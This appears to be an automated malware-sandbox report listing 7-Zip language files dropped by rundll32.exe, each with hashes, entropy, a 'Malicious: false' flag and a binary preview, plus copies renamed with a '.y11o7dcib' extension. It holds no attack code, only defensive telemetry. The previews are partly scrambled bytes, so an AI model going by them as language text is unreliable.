Preview:	.....-F!.>..At...;Y......{4,..hY.....$]pfSCnX..B.m..=4.#..o...;..;..;..;..;..;..;..;..;..0..7-Zip..Nepali..........401..... ....... ...........CGW.7CG..2....cc.....^......2Tk.^*.......x.T.5.cR....I.\...............&.... ............440..&...... ....&...... ........./.J'..cb...4..T.....'Tj.^+...;%..2OA.p.+.h....H.\... ...........&...........&..........&.. ..............R..A.......cc...4..R.B.t..~.q......4..<.....'Ph....I.\... .... ......... ?..500..&......&....... ...........&.....R....k....^&L..A.8..n.t..~.U..1.........OA........5..)A.....&.......540..&...................... .....................;....cc...,..F..,.0..;?/..o.

C:\Program Files\7-Zip\Lang\ne.txt.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	13768
Entropy (8bit):	5.834611356191461
Encrypted:	false
SSDEEP:	192:pe4z5qOnGaQoMFOPANZpm8msdAC77XFB7lYz/LbZ9QsOJOSycvatS:Y4IDafM0PuZp5G73OJwA
MD5:	FA48D9A88F678082D6A5AAF7DE9C644E
SHA1:	787B3ECBAD2D7C25EC7D5DB3611D0797BC06CFE7
SHA-256:	E16AC2839994AD6C2D81011F3F8812086B988E824AFD53B10CCA39D132D11140
SHA-512:	3C87ED6941BE698DB265084550230AEDBCB9801A7E55F4749CC12979F3C2470AE75755C141F71BE5F68EA938CDE90A314E9E20480D9422E7FED416F20A085074
Malicious:	false
Preview:	.....-F!.>..At...;Y......{4,..hY.....$]pfSCnX..B.m..=4.#..o...;..;..;..;..;..;..;..;..;..0..7-Zip..Nepali..........401..... ....... ...........CGW.7CG..2....cc.....^......2Tk.^*.......x.T.5.cR....I.\...............&.... ............440..&...... ....&...... ........./.J'..cb...4..T.....'Tj.^+...;%..2OA.p.+.h....H.\... ...........&...........&..........&.. ..............R..A.......cc...4..R.B.t..~.q......4..<.....'Ph....I.\... .... ......... ?..500..&......&....... ...........&.....R....k....^&L..A.8..n.t..~.U..1.........OA........5..)A.....&.......540..&...................... .....................;....cc...,..F..,.0..;?/..o.

C:\Program Files\7-Zip\Lang\nl.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	9843
Entropy (8bit):	6.562528108383983
Encrypted:	false
SSDEEP:	192:0Rl3HoAz/3JEake9WG5rlGSsTcL2GwvH2TQEjsrLrkrZhq/ic78Uu/Cfm0pUBaf/:pe/ZEDG5rMTHZWTQos/rke6Q1TB34rc
MD5:	785A9A2C1E7C804AE3769C28D8ACBFA1
SHA1:	31984C3602896814499E951228B6412FFA0794F6
SHA-256:	56A15B551C1D989ADB12BFAA9CB2FC200933D49465D6F1307C7B473DA4A7BAE1
SHA-512:	B127859A545A00E031ADF029E2A96C74B382827851FAD052807D77701A91D2EC29854C9353C3F6E3D11E12518C11089D189AD4F8CC45349C5FFBDE03B6A59A5A
Malicious:	false
Preview:	..j...;oq.m$..S.fz\C......N..:.\..n^8.0.C.-c.s5..x$..\...Jx. van der Weijde...; : Harm Hilvers..; 9.07 : Jeroen Tulp..; 15.00 : Jeroen Tulp..; 21.03 : Quinten Althues..; 21.05 : Jer.x.5...~.ydD..).{bGn.....^..X.K.... ..,.,C-c.^...@".7Kf..U..Dutch..Nederlands..401..OK..Annuleren........&Ja..&Nee..A&fsluiten..Help....&Hervatten..440..Ja op &alles..Nee op a&lles..Stoppe...]...z~.+......!.:....../d....\..dsd...S.E..=.../b.H....A..Weet u zeker dat u wilt annuleren?..500..&Bestand..Be&werken..Bee&ld..&Favorieten..E&xtra..&Help..540..&Openen..Open b&innen..Op.s.w...zz.Rn..!."(.+.......G....$....n...9.+r.".#\|Bn8w......3...&Verplaatsen naar.....Verwij&deren..Bestand &opsplitsen.....Bestanden &samenvoegen.....&Eigenschappen..O&pmerking plaatsen.....^.{...bz.:...'..0.%.......G..u.`..e^..,.,6I..$5.9f.S.F..vq.iten..Koppeling..&Alternatieve streams..600..&Alles selecteren..Alles deselecteren..Selectie &omkeren..&Selecteren.....&Deselect.o.{.Y.. :...s.9'.n.......Gc....K..e.

C:\Program Files\7-Zip\Lang\nl.txt.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	9843
Entropy (8bit):	6.562528108383983
Encrypted:	false
SSDEEP:	192:0Rl3HoAz/3JEake9WG5rlGSsTcL2GwvH2TQEjsrLrkrZhq/ic78Uu/Cfm0pUBaf/:pe/ZEDG5rMTHZWTQos/rke6Q1TB34rc
MD5:	785A9A2C1E7C804AE3769C28D8ACBFA1
SHA1:	31984C3602896814499E951228B6412FFA0794F6
SHA-256:	56A15B551C1D989ADB12BFAA9CB2FC200933D49465D6F1307C7B473DA4A7BAE1
SHA-512:	B127859A545A00E031ADF029E2A96C74B382827851FAD052807D77701A91D2EC29854C9353C3F6E3D11E12518C11089D189AD4F8CC45349C5FFBDE03B6A59A5A
Malicious:	false
Preview:	..j...;oq.m$..S.fz\C......N..:.\..n^8.0.C.-c.s5..x$..\...Jx. van der Weijde...; : Harm Hilvers..; 9.07 : Jeroen Tulp..; 15.00 : Jeroen Tulp..; 21.03 : Quinten Althues..; 21.05 : Jer.x.5...~.ydD..).{bGn.....^..X.K.... ..,.,C-c.^...@".7Kf..U..Dutch..Nederlands..401..OK..Annuleren........&Ja..&Nee..A&fsluiten..Help....&Hervatten..440..Ja op &alles..Nee op a&lles..Stoppe...]...z~.+......!.:....../d....\..dsd...S.E..=.../b.H....A..Weet u zeker dat u wilt annuleren?..500..&Bestand..Be&werken..Bee&ld..&Favorieten..E&xtra..&Help..540..&Openen..Open b&innen..Op.s.w...zz.Rn..!."(.+.......G....$....n...9.+r.".#\|Bn8w......3...&Verplaatsen naar.....Verwij&deren..Bestand &opsplitsen.....Bestanden &samenvoegen.....&Eigenschappen..O&pmerking plaatsen.....^.{...bz.:...'..0.%.......G..u.`..e^..,.,6I..$5.9f.S.F..vq.iten..Koppeling..&Alternatieve streams..600..&Alles selecteren..Alles deselecteren..Selectie &omkeren..&Selecteren.....&Deselect.o.{.Y.. :...s.9'.n.......Gc....K..e.

C:\Program Files\7-Zip\Lang\nn.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	6243
Entropy (8bit):	6.669193576096642
Encrypted:	false
SSDEEP:	192:seHL51KeqB5pe9vsFGo/V4sEYsS/c+Uw7vNzyf3CMm/ws7fDS:/L/AB5Qj6pc+Uc1U3CMUws7u
MD5:	8D60CB7007EAC64D2F0D3F01087204B9
SHA1:	B211765389AA5DD2D087C0A56C8EBA24B6025485
SHA-256:	DD4956D59D1BA8BFA58C5F90F32B4D36EF138B61ACC9CC181FDDDCBBCAAD6ECE
SHA-512:	F26BAA852E09F4CD4DB729BB975F9AEF20F3F7EA75618BE686C133CD0349107AAC9E0D27072D5C8EEDA79543CC46F9CA675CC2E36069942CEEA850B2CF67C9C9
Malicious:	false
Preview:	..... ....g.=.^?..&.H:m...@.>...B+......C..R..dN..Z... .S.xW...;..;..;..;..;..0..7-Zip..Norwegian Nynorsk..Norsk Nynorsk..401..OK..Avbryt........&Ja..&Nei..&Lukke..Hjelp....&Hald fram..440..J..?..@...lX..N.q2..G..v93.r.Kt...s:.....^V.B..dN..1...n.7..{.}.grunn..&Pause..Sett p. pause..Er du sikker p. du vil avbryte?..500..&Fil..&Redigere..&Vis..F&avorittar..Verk&t.y..&Hjelp..540.:m......W%..H\Q\|..&.<j#_.. Pe..RC...6...P.^...!..].....8.S3.....&Kopiere til.....&Flytt til.....&Slett..&Del opp fil.....Set saman filer.....&Eigenskapar..Ko&mmentar..Rekna ut kontrollnummer.:F....l!....hw..d..h(J...Mh...a8..+..\|....cb.."...w.<....w.n alle markeringar..&Omvendt markering..Marker.....Fjern markering.....Merk etter type..Fjern markering etter type..700..S&tore .[$..j.......v...g..n,3..1Ap..A<...l...7.H...!..]...z.y....\|...&2 felt..&Verkt.ylinjer..Opna kjeldemappa..Opp eit niv...Mappelogg.....&Oppdatere..750..Arkiv verkt.ylinje..Standard verkt..I'...........8y..[..h@4.H..o..P+..,.

C:\Program Files\7-Zip\Lang\nn.txt.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	6243
Entropy (8bit):	6.669193576096642
Encrypted:	false
SSDEEP:	192:seHL51KeqB5pe9vsFGo/V4sEYsS/c+Uw7vNzyf3CMm/ws7fDS:/L/AB5Qj6pc+Uc1U3CMUws7u
MD5:	8D60CB7007EAC64D2F0D3F01087204B9
SHA1:	B211765389AA5DD2D087C0A56C8EBA24B6025485
SHA-256:	DD4956D59D1BA8BFA58C5F90F32B4D36EF138B61ACC9CC181FDDDCBBCAAD6ECE
SHA-512:	F26BAA852E09F4CD4DB729BB975F9AEF20F3F7EA75618BE686C133CD0349107AAC9E0D27072D5C8EEDA79543CC46F9CA675CC2E36069942CEEA850B2CF67C9C9
Malicious:	false
Preview:	..... ....g.=.^?..&.H:m...@.>...B+......C..R..dN..Z... .S.xW...;..;..;..;..;..0..7-Zip..Norwegian Nynorsk..Norsk Nynorsk..401..OK..Avbryt........&Ja..&Nei..&Lukke..Hjelp....&Hald fram..440..J..?..@...lX..N.q2..G..v93.r.Kt...s:.....^V.B..dN..1...n.7..{.}.grunn..&Pause..Sett p. pause..Er du sikker p. du vil avbryte?..500..&Fil..&Redigere..&Vis..F&avorittar..Verk&t.y..&Hjelp..540.:m......W%..H\Q\|..&.<j#_.. Pe..RC...6...P.^...!..].....8.S3.....&Kopiere til.....&Flytt til.....&Slett..&Del opp fil.....Set saman filer.....&Eigenskapar..Ko&mmentar..Rekna ut kontrollnummer.:F....l!....hw..d..h(J...Mh...a8..+..\|....cb.."...w.<....w.n alle markeringar..&Omvendt markering..Marker.....Fjern markering.....Merk etter type..Fjern markering etter type..700..S&tore .[$..j.......v...g..n,3..1Ap..A<...l...7.H...!..]...z.y....\|...&2 felt..&Verkt.ylinjer..Opna kjeldemappa..Opp eit niv...Mappelogg.....&Oppdatere..750..Arkiv verkt.ylinje..Standard verkt..I'...........8y..[..h@4.H..o..P+..,.

C:\Program Files\7-Zip\Lang\pa-in.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	14977
Entropy (8bit):	5.964508816272077
Encrypted:	false
SSDEEP:	384:vd5HgktMpgOIWgjPUdfjN7EeRS/pDJyNpQ:vjHgxCjLPe5EeROdGpQ
MD5:	F00CDDF3B717B3597D6ADBC651627000
SHA1:	44C9A6DA0281C388D4D6873F636D84DED09A6CBF
SHA-256:	04DDF76EED3C9B137751B106801C3689BE9519D8278914E768BB156CEBC3C9AC
SHA-512:	7C6149E60EC76FC4DAF665C12C79A8F08580507DA513AD2AD00099B15AA79617AE2CEDDA237587888C75AAB5998ED140FE57DE114A478FDCCCDC8B9F88959C6F
Malicious:	false
Preview:	.8m....D).2....Q.F.;m'i.1...S.....Z.(a..];k..........;..u....<.;..;..;..;..;..;..0..7-Zip..Punjabi, Indian..........401..... ....... .............. (&C....:=..I... s..V.xN.C.LU.....HdN.C..S.\|+........b#.....9.. <..... ... (&C)..440........ .. ... (&A)........ .. .... (&l).....+G9.../.X.[.A;.R^......H....R.......8y9.....#b.;E*.G..A./Y..... (&B)........... (&F)...... (&P)...... ........ ..... ......2q.r<..X...hb.g.............'.,V.............b..E+.G..A.7Y.....?..500...... (&F)..... (&E)...... (&V)......... (&a)..... (&T)...... (&H3....../.X.[.K;.\|.A.G4o{,......dN.C.....wB.0......x..uq...... .... (&u)....... (&V)..... ... (&E)..... .... (&m)...... ....czz.;...X.[.G..f......%......R.:.....8

C:\Program Files\7-Zip\Lang\pa-in.txt.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	14977
Entropy (8bit):	5.964508816272077
Encrypted:	false
SSDEEP:	384:vd5HgktMpgOIWgjPUdfjN7EeRS/pDJyNpQ:vjHgxCjLPe5EeROdGpQ
MD5:	F00CDDF3B717B3597D6ADBC651627000
SHA1:	44C9A6DA0281C388D4D6873F636D84DED09A6CBF
SHA-256:	04DDF76EED3C9B137751B106801C3689BE9519D8278914E768BB156CEBC3C9AC
SHA-512:	7C6149E60EC76FC4DAF665C12C79A8F08580507DA513AD2AD00099B15AA79617AE2CEDDA237587888C75AAB5998ED140FE57DE114A478FDCCCDC8B9F88959C6F
Malicious:	false
Preview:	.8m....D).2....Q.F.;m'i.1...S.....Z.(a..];k..........;..u....<.;..;..;..;..;..;..0..7-Zip..Punjabi, Indian..........401..... ....... .............. (&C....:=..I... s..V.xN.C.LU.....HdN.C..S.\|+........b#.....9.. <..... ... (&C)..440........ .. ... (&A)........ .. .... (&l).....+G9.../.X.[.A;.R^......H....R.......8y9.....#b.;E*.G..A./Y..... (&B)........... (&F)...... (&P)...... ........ ..... ......2q.r<..X...hb.g.............'.,V.............b..E+.G..A.7Y.....?..500...... (&F)..... (&E)...... (&V)......... (&a)..... (&T)...... (&H3....../.X.[.K;.\|.A.G4o{,......dN.C.....wB.0......x..uq...... .... (&u)....... (&V)..... ... (&E)..... .... (&m)...... ....czz.;...X.[.G..f......%......R.:.....8

C:\Program Files\7-Zip\Lang\pl.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	10125
Entropy (8bit):	6.786365942937169
Encrypted:	false
SSDEEP:	192:dLEl6OUkfGqeULX5yIIx95VB86iHrELtwqtFbgcMS63jUXvP8mhy6uq6f9BUqS:tw6O9LX5MVWbHQLH/D6g8o2VBE
MD5:	8E3090422B632387A24677D826AE40D4
SHA1:	7EE73F512E8F687B9CFD7831156920CE32859C56
SHA-256:	45CC2AD91BE7129BE83F02DABC965EB56C83EA0389C959DCA7B60A61E2F5D192
SHA-512:	122056C8F2FDCA81841DC5253314C23599A3AFD00FB2C386CCBEACEDA2CDE10305E691824BADA2EDE95B78385855E7023145386A39AE22B9F02BF36BBC694B9F
Malicious:	false
Preview:	.T..d{.6.....;b.>A.~...._.L...?.-Kf..f.'.B..3.e.CT.>..D.Sn..k07 : F1xat..; 9.33 : .ukasz Maria P. Pastuszczak..; 22.00 : Micha. L...;..;..;..;..;..;..0..7-Zip..Polish..Polski..401..OK..A....."..\..;l..$..j.,...%.....<.Irz..r.'.h..\|.1...Q.K._}.eDrWck na wszystkie..Ni&e na wszystkie..Zatrzymaj..Pon.w..&T.o..&Pierwszy plan..&Wstrzymaj..Wstrzymano..Czy na pewno chcesz anulowa.h.....[..]#.pE.Z(.&....Y.....[.ewy..x.C.o..].7...@./.fC..#I.&..540..&Otw.rz..Otw.rz &wewn.trz..Otw.rz na &zewn.trz..Pod&gl.d..&Edytuj..Zmie. &nazw...Kopiuj &do.....&Przenie. do....e.........K#.[#.o .....u..Uip.9.e..z...L).DT...../...l.'+<.o&mentarz..Oblicz sum. kontroln...R..nice pomi.dzy plikami..Utw.rz &folder..U&tw.rz plik..Za&ko.cz..Dow&i.zanie..&Alter....M:.%..\#..&..F.u..Y.....,.4Qo..e.B.h..w.+..p..5..:..!+<.dwr.. &zaznaczenie..Zaznacz.....Odznacz.....Zaznacz wed.ug typu..Odznacz wed.ug typu..700..&Du.e ikony..&Ma.e ikony..&List....K`.6ON..pE.,\|.O........!.-G.l.x

C:\Program Files\7-Zip\Lang\pl.txt.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	10125
Entropy (8bit):	6.786365942937169
Encrypted:	false
SSDEEP:	192:dLEl6OUkfGqeULX5yIIx95VB86iHrELtwqtFbgcMS63jUXvP8mhy6uq6f9BUqS:tw6O9LX5MVWbHQLH/D6g8o2VBE
MD5:	8E3090422B632387A24677D826AE40D4
SHA1:	7EE73F512E8F687B9CFD7831156920CE32859C56
SHA-256:	45CC2AD91BE7129BE83F02DABC965EB56C83EA0389C959DCA7B60A61E2F5D192
SHA-512:	122056C8F2FDCA81841DC5253314C23599A3AFD00FB2C386CCBEACEDA2CDE10305E691824BADA2EDE95B78385855E7023145386A39AE22B9F02BF36BBC694B9F
Malicious:	false
Preview:	.T..d{.6.....;b.>A.~...._.L...?.-Kf..f.'.B..3.e.CT.>..D.Sn..k07 : F1xat..; 9.33 : .ukasz Maria P. Pastuszczak..; 22.00 : Micha. L...;..;..;..;..;..;..0..7-Zip..Polish..Polski..401..OK..A....."..\..;l..$..j.,...%.....<.Irz..r.'.h..\|.1...Q.K._}.eDrWck na wszystkie..Ni&e na wszystkie..Zatrzymaj..Pon.w..&T.o..&Pierwszy plan..&Wstrzymaj..Wstrzymano..Czy na pewno chcesz anulowa.h.....[..]#.pE.Z(.&....Y.....[.ewy..x.C.o..].7...@./.fC..#I.&..540..&Otw.rz..Otw.rz &wewn.trz..Otw.rz na &zewn.trz..Pod&gl.d..&Edytuj..Zmie. &nazw...Kopiuj &do.....&Przenie. do....e.........K#.[#.o .....u..Uip.9.e..z...L).DT...../...l.'+<.o&mentarz..Oblicz sum. kontroln...R..nice pomi.dzy plikami..Utw.rz &folder..U&tw.rz plik..Za&ko.cz..Dow&i.zanie..&Alter....M:.%..\#..&..F.u..Y.....,.4Qo..e.B.h..w.+..p..5..:..!+<.dwr.. &zaznaczenie..Zaznacz.....Odznacz.....Zaznacz wed.ug typu..Odznacz wed.ug typu..700..&Du.e ikony..&Ma.e ikony..&List....K`.6ON..pE.,\|.O........!.-G.l.x

C:\Program Files\7-Zip\Lang\ps.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	8954
Entropy (8bit):	6.376265183754042
Encrypted:	false
SSDEEP:	192:dLcN9178MxnTXsestBibisS75Q0QAAycgwP4AS:lcz1hTXpstBCiH720TAycgs2
MD5:	93B4C10D13FD315E68B300C650C5F25B
SHA1:	E387846E3EA2138B604F3A8B3008603E61D51398
SHA-256:	B345172AD4CDDA802D79A75125E1815F30060548FB06DDF71D971AA54D548CA3
SHA-512:	4B2FEFD8C7F42EDAE8C4BBFC03833CC794FC5B7104E3E52309BDCD2D68DC39E73F624C374294F689A977792C2A0B3A252D0F01DA8DE4AC3AF3463C5D7FB70506
Malicious:	false
Preview:	\|..i.kk.Z......).7....a5.C0.w.E.:......v.6!G..Wb......P...V.t..;..;..;..;..;..;..;..;..;..;..0..7-Zip..Pashto........401.......................&....&.......&......9.._.&-..pPM.<..is.P...K5.F.....8.3/.........w.;.Lm.Y8`....3.qt .........................&........&.......&............. ...... .... .....5...p....qgL..t..:6S2.B......x.G...E~......W+.C....FY6.3.NC2.p\&...&............&.......&..540..........&......& ............. .&.............#.....qg.?.u.. 0Q<.W.....B.=z.$........w...oC.........=.l.p]....&.......&.......... ...&.......... ...&.....................&......... ..H...r.e9.8*.lw..'6Q7.Y.....N@....2..P..v+...%..LU.i1..=.c....600..... ....&..... ............. .......&........................ ... ........"...r....qgL.=..dp.P.9.v1.{...`........

C:\Program Files\7-Zip\Lang\ps.txt.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	8954
Entropy (8bit):	6.376265183754042
Encrypted:	false
SSDEEP:	192:dLcN9178MxnTXsestBibisS75Q0QAAycgwP4AS:lcz1hTXpstBCiH720TAycgs2
MD5:	93B4C10D13FD315E68B300C650C5F25B
SHA1:	E387846E3EA2138B604F3A8B3008603E61D51398
SHA-256:	B345172AD4CDDA802D79A75125E1815F30060548FB06DDF71D971AA54D548CA3
SHA-512:	4B2FEFD8C7F42EDAE8C4BBFC03833CC794FC5B7104E3E52309BDCD2D68DC39E73F624C374294F689A977792C2A0B3A252D0F01DA8DE4AC3AF3463C5D7FB70506
Malicious:	false
Preview:	\|..i.kk.Z......).7....a5.C0.w.E.:......v.6!G..Wb......P...V.t..;..;..;..;..;..;..;..;..;..;..0..7-Zip..Pashto........401.......................&....&.......&......9.._.&-..pPM.<..is.P...K5.F.....8.3/.........w.;.Lm.Y8`....3.qt .........................&........&.......&............. ...... .... .....5...p....qgL..t..:6S2.B......x.G...E~......W+.C....FY6.3.NC2.p\&...&............&.......&..540..........&......& ............. .&.............#.....qg.?.u.. 0Q<.W.....B.=z.$........w...oC.........=.l.p]....&.......&.......... ...&.......... ...&.....................&......... ..H...r.e9.8*.lw..'6Q7.Y.....N@....2..P..v+...%..LU.i1..=.c....600..... ....&..... ............. .......&........................ ... ........"...r....qgL.=..dp.P.9.v1.{...`........

C:\Program Files\7-Zip\Lang\pt-br.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	10237
Entropy (8bit):	6.635025518222411
Encrypted:	false
SSDEEP:	192:iHRARq5vWizBQQzIMY5iDD0Xmox2d+d1dZZIe1S:a24uiNQ43xDo2oxGiZZIeo
MD5:	B46E560796B7D9B1ED0DFB717FACADAE
SHA1:	339632BEEBAD9265483F9CD4CF9458754B74133C
SHA-256:	FEADC8921D86B0EDE1496085D8E55E0AF6B41097BF22B18B40499E5529DDFB82
SHA-512:	462C13B183D786E77EC4011D76F9B6EAAD42B0D43A72286C51CAF30917796A1DA289B5A8CC131C91BE67F9775E50E6C7EC04F864A3F0C3D00BBBCDC7C49D2721
Malicious:	false
Preview:	D.jYs...{..q...2 =.(..yL{..vA.~.3......Ey.F...E..Pvv.!.{.T.O.}Biazzotto..; 23.00 : Atualizado por Felipe..;..;..;..;..;..;..;..;..0..7-Zip..Portuguese Brazilian..Portugu.s Brasileiro..401...-.h.,..p..].......4aQ....5.t<.......Jd9.V.{..A.#\..w.\.+.i40..Sim pra &Todos..N.o pra T&odos..Parar..Reiniciar..&Em 2. plano..&Em 1. plano..&Pausar..Pausado..Voc. tem certeza que voch...'(...}..5... ......SJ...#..W.X\........(..D.....7>?m.?.K.T.)os..&Ferramentas..&Ajuda..540..&Abrir..Abrir &por Dentro..Abrir p&or Fora..&Visualizar..&Editar..Re&nomear..&Copiar Para.....&Mo...B.,...2..Z...~.}./....-..?..Y.#...\...M#.......v-@..p.R...s..P&ropriedades..Comen&t.rio..Calcular checksum..Diff..Criar Pasta..Criar Arquivo..S&air..Link..&Correntes Alternantes..600..Se....=#...:..4...[}o.C..8.{..2..2........./Xk ....o.j\.W..z.R.G.s....Desmarcar.....Selecionar por Tipo..Desfazer a Sele..o por Tipo..700...co&nes Grandes...c&ones Pequenos..&Lista..&Detalhe.k.Ua}...y.."...vb}.M....(..:..YM..#..".

C:\Program Files\7-Zip\Lang\pt-br.txt.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	10237
Entropy (8bit):	6.635025518222411
Encrypted:	false
SSDEEP:	192:iHRARq5vWizBQQzIMY5iDD0Xmox2d+d1dZZIe1S:a24uiNQ43xDo2oxGiZZIeo
MD5:	B46E560796B7D9B1ED0DFB717FACADAE
SHA1:	339632BEEBAD9265483F9CD4CF9458754B74133C
SHA-256:	FEADC8921D86B0EDE1496085D8E55E0AF6B41097BF22B18B40499E5529DDFB82
SHA-512:	462C13B183D786E77EC4011D76F9B6EAAD42B0D43A72286C51CAF30917796A1DA289B5A8CC131C91BE67F9775E50E6C7EC04F864A3F0C3D00BBBCDC7C49D2721
Malicious:	false
Preview:	D.jYs...{..q...2 =.(..yL{..vA.~.3......Ey.F...E..Pvv.!.{.T.O.}Biazzotto..; 23.00 : Atualizado por Felipe..;..;..;..;..;..;..;..;..0..7-Zip..Portuguese Brazilian..Portugu.s Brasileiro..401...-.h.,..p..].......4aQ....5.t<.......Jd9.V.{..A.#\..w.\.+.i40..Sim pra &Todos..N.o pra T&odos..Parar..Reiniciar..&Em 2. plano..&Em 1. plano..&Pausar..Pausado..Voc. tem certeza que voch...'(...}..5... ......SJ...#..W.X\........(..D.....7>?m.?.K.T.)os..&Ferramentas..&Ajuda..540..&Abrir..Abrir &por Dentro..Abrir p&or Fora..&Visualizar..&Editar..Re&nomear..&Copiar Para.....&Mo...B.,...2..Z...~.}./....-..?..Y.#...\...M#.......v-@..p.R...s..P&ropriedades..Comen&t.rio..Calcular checksum..Diff..Criar Pasta..Criar Arquivo..S&air..Link..&Correntes Alternantes..600..Se....=#...:..4...[}o.C..8.{..2..2........./Xk ....o.j\.W..z.R.G.s....Desmarcar.....Selecionar por Tipo..Desfazer a Sele..o por Tipo..700...co&nes Grandes...c&ones Pequenos..&Lista..&Detalhe.k.Ua}...y.."...vb}.M....(..:..YM..#..".

C:\Program Files\7-Zip\Lang\pt.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	10203
Entropy (8bit):	6.679657677086021
Encrypted:	false
SSDEEP:	192:tSAaxG9byXReyz1N/mMjl/2WWFOuAcLfygj0aL7Z/ug7YWU3QwS:naxG0XReyzHmMjl/2nOfcLfygj0aL7ZN
MD5:	A0F7BAC8990D8E97A4EEF9FD47554883
SHA1:	29C263D544F9C3DFD4CAA54819309BD34453011F
SHA-256:	9486E14F6BC04A86400F11A4BE24171C83C2FE2C16DFFB96F7376A7F17E67450
SHA-512:	BA8468D7364E8C44E723975E1AEF28EB620CEB172FA3C99D513E14A26BE28CE88F8A67A6B527292CFA433D999A6AAC642B0D874B8C2660118F745C707C290947
Malicious:	false
Preview:	..k.Xz.r.CG..!...G7.^.......+O........b.~..'...l..=UO..W..es..; : Jo.o Frade (100 NOME TR)..; 4.46 : Rui Costa..; 9.17 : S.rgio Marques..; 15.00 : Rui Aguiar..; 15.00 : 2022-03....C..f.KU......y.^......Z...P...I.#..<.Wh..M.:..=........;..0..7-Zip..Portuguese Portugal..Portugu.s..401..Aceitar..Cancelar........&Sim..&N.o..&Fechar..Ajuda....&Continuar..440..Sim.....O.\|..;=9.....0e0~.......:K....J........Ei.... .._......iro plano..&Pausar..Em pausa..Quer mesmo cancelar?..500..&Ficheiro..&Editar..&Ver..F&avoritos..Ferramen&tas..&Ajuda..540..&Abrir5..D.S.3.@......>tb=c......>K..w.f...b.~.Ec....#..?....U..iar para.....&Mover para.....&Eliminar..&Dividir ficheiro.....Com&binar ficheiros.....P&ropriedades..Come&nt.rio..Calcular o ch].U.W...M...~....d0$p............F......'.Yu..`.+.qq.5...0..ternar fluxos..600..Seleccionar &tudo..Desseleccionar tudo..&Inverter selec..o..Seleccionar.....Dessseleccionar.....SeleccionaJ..I...z.Kx.......ss7x........G..p...K

C:\Program Files\7-Zip\Lang\pt.txt.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	10203
Entropy (8bit):	6.679657677086021
Encrypted:	false
SSDEEP:	192:tSAaxG9byXReyz1N/mMjl/2WWFOuAcLfygj0aL7Z/ug7YWU3QwS:naxG0XReyzHmMjl/2nOfcLfygj0aL7ZN
MD5:	A0F7BAC8990D8E97A4EEF9FD47554883
SHA1:	29C263D544F9C3DFD4CAA54819309BD34453011F
SHA-256:	9486E14F6BC04A86400F11A4BE24171C83C2FE2C16DFFB96F7376A7F17E67450
SHA-512:	BA8468D7364E8C44E723975E1AEF28EB620CEB172FA3C99D513E14A26BE28CE88F8A67A6B527292CFA433D999A6AAC642B0D874B8C2660118F745C707C290947
Malicious:	false
Preview:	..k.Xz.r.CG..!...G7.^.......+O........b.~..'...l..=UO..W..es..; : Jo.o Frade (100 NOME TR)..; 4.46 : Rui Costa..; 9.17 : S.rgio Marques..; 15.00 : Rui Aguiar..; 15.00 : 2022-03....C..f.KU......y.^......Z...P...I.#..<.Wh..M.:..=........;..0..7-Zip..Portuguese Portugal..Portugu.s..401..Aceitar..Cancelar........&Sim..&N.o..&Fechar..Ajuda....&Continuar..440..Sim.....O.\|..;=9.....0e0~.......:K....J........Ei.... .._......iro plano..&Pausar..Em pausa..Quer mesmo cancelar?..500..&Ficheiro..&Editar..&Ver..F&avoritos..Ferramen&tas..&Ajuda..540..&Abrir5..D.S.3.@......>tb=c......>K..w.f...b.~.Ec....#..?....U..iar para.....&Mover para.....&Eliminar..&Dividir ficheiro.....Com&binar ficheiros.....P&ropriedades..Come&nt.rio..Calcular o ch].U.W...M...~....d0$p............F......'.Yu..`.+.qq.5...0..ternar fluxos..600..Seleccionar &tudo..Desseleccionar tudo..&Inverter selec..o..Seleccionar.....Dessseleccionar.....SeleccionaJ..I...z.Kx.......ss7x........G..p...K

C:\Program Files\7-Zip\Lang\ro.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	7887
Entropy (8bit):	6.633828288686029
Encrypted:	false
SSDEEP:	192:aWVUvY7Ae16kMlPwmd6SKB6Scs3Ggoff/s1YVuL2/K4S:nMYkKMlYmd43BofShSw
MD5:	391FC7F9515DCDA38E02E1CA1EDD1D1A
SHA1:	065B314E7BE37C90D6A0C8C402D5514975D48E13
SHA-256:	9BFD757788D5ABBC9015738B17286466029E36B4AC4D51B2A48B285AFBE924C8
SHA-512:	C7E0A7EC8984CA025EF458068E7A0131F61373CCFE10C889C1B6CB238C177EB014A10E1EAEB04A0DAC317F82426CADE44919BDF3EEFAE4DAB2D645DB9BD0278E
Malicious:	false
